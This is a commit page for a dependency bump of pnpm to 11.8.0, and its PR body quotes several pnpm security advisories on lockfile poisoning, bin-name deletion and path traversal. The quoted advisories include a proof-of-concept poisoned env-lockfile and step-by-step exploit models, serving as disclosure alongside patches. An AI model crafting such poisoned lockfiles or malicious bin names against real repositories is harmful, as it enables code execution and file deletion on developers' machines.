`pnpm/src/switchCliVersion.ts` - `pnpm/src/switchCliVersion.test.ts` - `.changeset/clean-package-manager-registries.md` ##### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-063-patched-result.json`. <!-- maintainer-action:end --> ##### Summary pnpm can persist package-manager bootstrap metadata in the first YAML document of `pnpm-lock.yaml`. Before the patch, direct pnpm execution trusted an already resolved `packageManagerDependencies` entry when the committed env lockfile contained matching `pnpm` and `@pnpm/exe` versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching. ##### Details The vulnerable source-to-sink path was: - `lockfile/fs/src/envLockfile.ts` reads the repository's first YAML lockfile document and validates shape only. - `pnpm/src/main.ts` reaches `switchCliVersion()` when a direct pnpm invocation sees a wanted `pnpm` package manager with `onFail=download`. - `pnpm/src/switchCliVersion.ts` reads the committed env lockfile when package-manager metadata should be persisted. - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` treated `packageManagerDependencies` as resolved when only the `pnpm` and `@pnpm/exe` versions matched. - `engine/pm/commands/src/self-updater/installPnpm.ts` converts env-lockfile `snapshots` and `packages` into the wanted lockfile used by `headlessInstall()`. - `pnpm/src/switchCliVersion.ts` executes the installed `pnpm` binary with `spawn.sync()`. The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: `switchCliVersion()` now re-resolves already present package-manager env-lockfile entries before they can reach `installPnpmToStore()` and `spawn.sync()`. ##### PoC Standalone PoC and verification script: The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata: ```json { "importers": { ".": { "configDependencies": {}, "packageManagerDependencies": { "@&#8203;pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" }, "pnpm": { "specifier": "9.3.0", "version": "9.3.0" } } } }, "lockfileVersion": "9.0", "packages": { "/pnpm@9.3.0": { "resolution": { "integrity": "sha512-poisoned" } } }, "snapshots": { "/pnpm@9.3.0": {} } } ``` Pre-patch exploit model: 1. The victim runs pnpm directly in a malicious repository. 2. The requested package-manager version differs from the currently running pnpm. 3. pnpm enters `switchCliVersion()` and reads the committed env lockfile. 4. Matching `pnpm` / `@pnpm/exe` versions short-circuit package-manager resolution. 5. pnpm installs from the committed env-lockfile package records and executes the resulting `pnpm` binary. Observed primitive proof from the PoC: ```json { "primitive": "unforced resolver reuses already-resolved env lockfile metadata", "isResolvedByVersionOnly": true, "reusedPoisonedIntegrity": true } ``` The same script then runs the patched `switchCliVersion` regression. The regression seeds a poisoned committed env lockfile, has the resolver return a trusted replacement lockfile, and asserts `installPnpmToStore()` receives the trusted lockfile rather than the committed one. This would fail on the vulnerable control flow because the resolver was not called and the committed lockfile reached the installer. Focused validation commands: ```bash ./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check ``` Validation result: - The PoC confirmed the unforced resolver still reuses a version-matching env lockfile, proving the original primitive. - Patched `switchCliVersion()` calls `resolvePackageManagerIntegrities()` with `force: true` when committed env-lockfile package-manager entries already satisfy the requested version. - Patched `switchCliVersion()` assigns the resolver return value back to `envLockfile`. - The installer receives the refreshed lockfile and not the poisoned committed lockfile. - TypeScript builds passed for `@pnpm/installing.env-installer` and `pnpm`. - The focused Jest regression passed: 1 passed, 1 skipped in `switchCliVersion.test.ts`. - ESLint passed for the affected package-manager switch files. - `git diff --check` passed. ##### Impact A malicious repository can cause arbitrary package-manager code execution in the victim's developer or CI environment before normal command handling continues. That code executes with the victim user's privileges and can read local secrets, alter project files, mutate dependency state, or run further commands. ##### Affected products Ecosystem: npm Package name: `pnpm`, `@pnpm/installing.env-installer` Affected versions: current main before this patch; direct pnpm execution with package-manager auto-switching and a repository-controlled env lockfile. Patched versions: pending release containing this patch. ##### Severity Severity: High Vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` Base score: 8.8 Rationale: the malicious source is repository-controlled package-manager lockfile state delivered through normal supply-chain channels. Exploitation is low complexity once the victim runs pnpm directly, no attacker privileges are required, and user interaction is required. Successful exploitation executes attacker-selected package-manager code in the victim user's security context, with high confidentiality, integrity, and availability impact. ##### Weaknesses CWE-829: Inclusion of Functionality from Untrusted Control Sphere CWE-494: Download of Code Without Integrity Check CWE-345: Insufficient Verification of Data Authenticity ##### Patch The patch makes automatic package-manager switching re-resolve repository-provided bootstrap metadata before install and execution: - `resolvePackageManagerIntegrities()` accepts `force`, which bypasses the version-only fast path. - `switchCliVersion()` creates a store controller even when the committed env lockfile already contains satisfying package-manager dependency versions. - `switchCliVersion()` calls `resolvePackageManagerIntegrities()` with `force: true` for already resolved package-manager entries. - `switchCliVersion()` assigns the returned env lockfile back to `envLockfile`, so `installPnpmToStore()` installs from freshly resolved metadata. - The package-manager bootstrap registry hardening from CAND-PNPM-061 is reused, so the refresh happens through trusted package-manager registries rather than repository workspace registries. Changed files: - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` - `pnpm/src/switchCliVersion.ts` - `pnpm/src/switchCliVersion.test.ts` Changeset: - `.changeset/clean-package-manager-registries.md` Pacquet parity: No pacquet-side patch is required for this finding because pacquet does not implement pnpm's package-manager auto-switch path or `installPnpmToStore()`. ##### CVSS Reassessment Initial CVSS remains correct for vulnerable versions: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` / 8.8 High. Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still demonstrates the underlying unforced env-lockfile reuse primitive, but the patched execution path force-refreshes package-manager metadata through trusted bootstrap registries before install or execution. ##### Remaining Risk The helper `resolvePackageManagerIntegrities()` still has an unforced fast path that treats matching `pnpm` and `@pnpm/exe` versions as resolved. Current execution-sensitive callers either use trusted roots/registries or pass through the patched `switchCliVersion()` boundary, but future execution paths should use `force: true` before installing or executing package-manager bytes from repository-provided env-lockfile metadata. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55698](https://nvd.nist.gov/vuln/detail/CVE-2026-55698) - [https://github.com/advisories/GHSA-w466-c33r-3gjp](https://redirect.github.com/advisories/GHSA-w466-c33r-3gjp) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-w466-c33r-3gjp) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Reserved bin name deletes PNPM_HOME during global remove [CVE-2026-55699](https://nvd.nist.gov/vuln/detail/CVE-2026-55699) / [GHSA-4gxm-v5v7-fqc4](https://redirect.github.com/advisories/GHSA-4gxm-v5v7-fqc4) <details> <summary>More information</summary> #### Details <details> <summary>Maintainer Action Plan</summary> ##### Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-085` / `GHSA-4gxm-v5v7-fqc4` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4 - Shared patch PR: [https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1](https://redirect.github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1) - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `appendix` - Component: `pnpm global add/remove bin cleanup` - Patch area: bin name/path segment validation - Affected packages: `npm:pnpm` - CWE IDs: `CWE-22`, `CWE-73` - Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ##### Expected Patched Behavior Reserved, dot, and path-segment bin names are rejected or ignored; global remove leaves `PNPM_HOME` and the sentinel file intact. ##### Files And Tests To Review - `bins/resolver/src/index.ts` - `bins/resolver/test/index.ts` - `global/commands/test/globalRemove.test.ts` - `pacquet/crates/cmd-shim/src/bin_resolver.rs` - `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` - `.changeset/strange-bin-segments.md` ##### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. - Use the private PR checks plus the patched replay coverage matrix for this candidate. The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-085-patched-result.json`. <!-- maintainer-action:end --> ##### Title Reserved manifest bin names can make global package operations delete outside the global bin directory </details> ##### Description ##### Summary Manifest `bin` object keys such as `""`, `"."`, and `".."` passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass `path.join(globalBinDir, binName)` to `removeBin`. For `"."` this targets the global bin directory; for `".."` this targets its parent. ##### Details The vulnerable dataflow was: - `bins/resolver/src/index.ts` converted manifest `bin` object keys to `binName` and only required URL-safe text or `$`. Empty, dot, dot-dot, and scoped forms such as `@scope/..` were not rejected after scope stripping. - `global/packages/src/scanGlobalPackages.ts` scanned installed global package manifests and returned manifest-derived `bin.name` values. - `global/commands/src/globalRemove.ts`, `global/commands/src/globalUpdate.ts`, and global add replacement logic joined those names to `globalBinDir`. - `bins/remover/src/removeBins.ts` recursively removed the resulting path. Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations. ##### PoC Run: The script first performs a safe prepatch simulation in a temporary directory: ```text prepatch_reserved_bin_name=.. prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home prepatch_deleted_global_bin_parent=true ``` It then validates the patched implementation: ```bash ./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json ./node_modules/.bin/tsgo --build global/commands/tsconfig.json ./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts cd bins/resolver NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand cd global/commands NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml ``` The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only `path.join(globalBinDir, "good")`. ##### Impact Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path. ##### Affected Products Ecosystem: npm Package name: `pnpm` Affected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows. Patched versions: pending release containing the shared bin-name hardening. ##### Severity Corrected vulnerable severity: High Corrected vulnerable vector string: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H` Corrected vulnerable score: 8.1 Final post-patch score: 0.0, not vulnerable after patch. The original scan score was 8.3 with `C:H/I:H/A:L`. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent. ##### Weaknesses CWE-22: Improper Limitation of a Pathname to a Restricted Directory CWE-73: External Control of File Name or Path ##### Patch - `bins/resolver/src/index.ts` now rejects empty, dot, and dot-dot bin names after scope stripping. - `bins/resolver/test/index.ts` covers empty, dot, dot-dot, and scoped reserved bin keys. - `global/commands/test/globalRemove.test.ts` proves global remove filters reserved manifest bin names before deletion and only removes a safe `good` shim. - `pacquet/crates/cmd-shim/src/bin_resolver.rs` mirrors the same reserved-name rejection; empty names were already rejected. - `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` extends parity coverage. - `.changeset/strange-bin-segments.md` records patch releases for `@pnpm/bins.resolver`, `pnpm`, and `pacquet`. Pacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink. ##### Validation Passed locally: The script passed TypeScript builds, ESLint, `bins/resolver` Jest, global-remove sink Jest, pacquet fmt/tests, and `git diff --check`. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4](https://redirect.github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55699](https://nvd.nist.gov/vuln/detail/CVE-2026-55699) - [https://github.com/advisories/GHSA-4gxm-v5v7-fqc4](https://redirect.github.com/advisories/GHSA-4gxm-v5v7-fqc4) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-4gxm-v5v7-fqc4) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: `stage download` writes outside its destination directory via manifest name/version traversal [CVE-2026-55700](https://nvd.nist.gov/vuln/detail/CVE-2026-55700) / [GHSA-v23m-ccfg-pq9h](https://redirect.github.com/advisories/GHSA-v23m-ccfg-pq9h) <details> <summary>More information</summary> #### Details ##### Summary The staged-tarball filename traversal reported as GHSA-v23m-ccfg-pq9h / CAND-PNPM-038 is fixed on `main` by [pnpm/pnpm#12303](https://redirect.github.com/pnpm/pnpm/pull/12303), merged as `65443f4bdf1f0db9c8c7dc58fee25252607e9234`. Before the fix, `pnpm stage download` derived a local filename from registry-controlled package name and version fields. A crafted manifest could escape the selected download directory and overwrite another reachable file. The merged fix validates both fields, derives one safe filename, and verifies the final destination before writing. ##### Security boundary - Package names and semantic versions are validated before they can influence a local filename. - POSIX and Windows path separators are rejected by basename checks. - Stage download and tarball summary paths use the same filename helper. - The resolved output path must remain an immediate child of the selected download directory. - The stage identifier is already constrained to a UUID. ##### Exploit replay Before `65443f4bdf`, a traversal-bearing manifest version could make the command write outside the selected directory. After the fix, malicious package names fail with `ERR_PNPM_INVALID_PACKAGE_NAME`, malicious versions fail with `ERR_PNPM_INVALID_PACKAGE_VERSION`, no outside file is created, and the download directory remains empty. ##### Files changed - `releasing/commands/src/tarball/safeTarballFilename.ts` validates manifest identity and rejects cross-platform path separators. - `releasing/commands/src/stage/download.ts` verifies the resolved destination before writing. - `releasing/commands/src/tarball/summarizeTarball.ts` uses the same filename contract. - `releasing/commands/test/stage.test.ts` covers traversal through both package name and version. - `.changeset/stale-stage-tarballs.md` includes patch bumps for `@pnpm/releasing.commands` and `pnpm`. ##### Patch - Merged PR: [https://github.com/pnpm/pnpm/pull/12303](https://redirect.github.com/pnpm/pnpm/pull/12303) - Fix commit: `65443f4bdf1f0db9c8c7dc58fee25252607e9234` - The private candidate branch was not submitted because it conflicts with and is superseded by the merged fix. The upstream patch is slightly stronger because it covers malicious package names as well as versions. ##### Commands run ```text $ git diff --check 65443f4bdf^ 65443f4bdf PASS $ gh pr view 12303 --repo pnpm/pnpm --json state,mergeCommit,statusCheckRollup MERGED as 65443f4bdf ``` ##### Validation - Upstream regression coverage rejects traversal through both manifest name and version and verifies that no outside file is created. - Compile and lint, dependency audit, Linux Node.js 22/24/26, CodeQL, and zizmor checks passed on the merged public PR. - The Windows Node.js 22 full-suite job timed out in the unrelated `pnpm/test/dlx.ts` cache test after 512 other tests passed. The PR was merged by the maintainer; the failure did not involve the staging code. - The earlier private candidate's focused exploit regression, positive control, package compile, ESLint, and `git diff --check` > ✂ **Note** > > PR body was truncated to here. --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Claude <noreply@anthropic.com>
1 parent 111e0c4 commit cebe041

1 file changed

Lines changed: 2 additions & 2 deletions

File tree

package.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -56,11 +56,11 @@
5656
"typescript": "^6.0.0",
5757
"typescript-eslint": "^8.58.0"
5858
},
59-
"packageManager": "pnpm@11.5.1",
59+
"packageManager": "pnpm@11.8.0",
6060
"devEngines": {
6161
"packageManager": {
6262
"name": "pnpm",
63-
"version": "11.5.1",
63+
"version": "11.8.0",
6464
"onFail": "error"
6565
}
6666
}

0 commit comments

Comments
 (0)